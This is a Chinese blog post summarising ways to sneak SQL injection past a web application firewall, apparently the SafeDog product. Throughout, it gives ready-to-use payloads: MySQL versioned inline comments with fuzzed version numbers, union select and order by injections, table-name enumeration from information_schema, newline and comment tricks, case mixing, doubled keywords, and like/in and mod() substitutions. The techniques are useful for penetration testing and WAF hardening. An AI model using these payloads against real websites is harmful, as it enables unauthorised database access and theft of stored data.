WAF绕过方法总结
1.内联注释绕过
在mysql的语法中,有三种注释方法:--和
1' and /*!1*/=/*!1*/ ##
(单行注释)和/* */
(多行注释)如果在/*
后加惊叹号!
意为/* */
里的语句将被执行
在mysql中 /*! ....*/
不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/
中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */
;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。
但是order by (这里order不拦截by不拦截,但是order后面加by会拦截)所以我们还是用之前的内联注释测试绕过,发现and能过的内联注释到了order by就不行了,根据开头介绍的内联的特性,往内联里加数字进行测试。这里可以多准备些五位数因为一些常用的已经被安全狗拦了。简单的fuzz 了一下,发现 了大量的可以绕过的版本号,也可以通过1' order/*%%!asd%%%%*/by 3 --+可以成功过狗:10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等。
union select绕过可以直接加内联,因为安全狗看重的是关键字,要绕过只需要中间加些干扰就行,但union select中间需要放两个内联才行,之后的都是这样。
union%20/*!11440%20select*/%201,2#
1'order%20/*!11440%20by*/%201,2#
union%20/!77777cz//!77777cz/%20select%201,2#,发现无法绕过WAF
但可以用内联绕过,直接把()放到内联里,或者经过简单的变形就能过
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截),这里将select table_name和from information_schema.tables单独进行测试,发现都不会被拦截,但是用select table_name,2 from information_schema.这种组合进行测试时就会被拦截。再测试select xxx from xxx发现被拦截。说明select后面跟任意字符再加上from再加上任意字符就会被拦截,只需要将select放进内联即可绕过
查表名:
union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#
还可以用mysql>5.6版本的新特性,mysql库多了两个新表,innodb_index_stats 和 innodb_table_stats,这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录。安全狗没有对这两个关键字进行限制。
2.等价替换法:
union%20/*!11440%20select*/%201,@@version,3#,发现不能绕过
4.boolen等价替换法:
构造 1' && Ture--+
绕过安全狗
5.换行绕过:
换行符绕过:%23%0a、%2d%2d%0a
%23 是url编码中的 # (也就是MySQL中的行注释符)
%0A 是url编码中的 换行
%23 aaaa -->对应的就是 #aaaa (就相当于把这行给注释掉了)
而再加上%0a(也就是换行符,后面的语句又能成功执行了)
6.空格绕过:
空格绕过的结构语句是在注释中间加一些垃圾字符,来干扰安全狗检测
7.使用大小写:
WAF在拼接的时候很可能是按照小写来检测的,这时就可以使用大小写互补来绕过检测
8.双写替换:
比如:
http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
9.编码和相似语法结合绕过
在BurpSuite中将and(&&)进行编码,后得到
等于号可以用 in 或like 进行代替,1=1可以变为1 in 1或 1 like 1或1 in 2或 1 like 2,再变通一下,此语句还可以变为-1 in -1或 -1 like -2,经过实验发现 -1 like -2能够成功绕过安全狗
10.取余函数mod()绕过
以上语句为:id=1 or mod(6,5) in (1),将整个数据库暴露出来,WAF是不能够在这里写算法检测求余,再者,大量的数据访问,也不利于写算法来检测,所以可以构造语句来绕过。
有一个奇怪的现象,当我们在有注入的地方执行一个单引号,WAF是不拦截的
这是因为在后台语言中,有些函数在调用的时候,或者变量,参数,字符串等等时常需要做拼接的时候,需要用到单引号来实现拼接的功能,所以WAF默认没有将单引号加入检测规则。
本文来自博客园,作者:田家少闲月-,转载请注明原文链接:https://www.cnblogs.com/zhaoyunxiang/p/15345235.html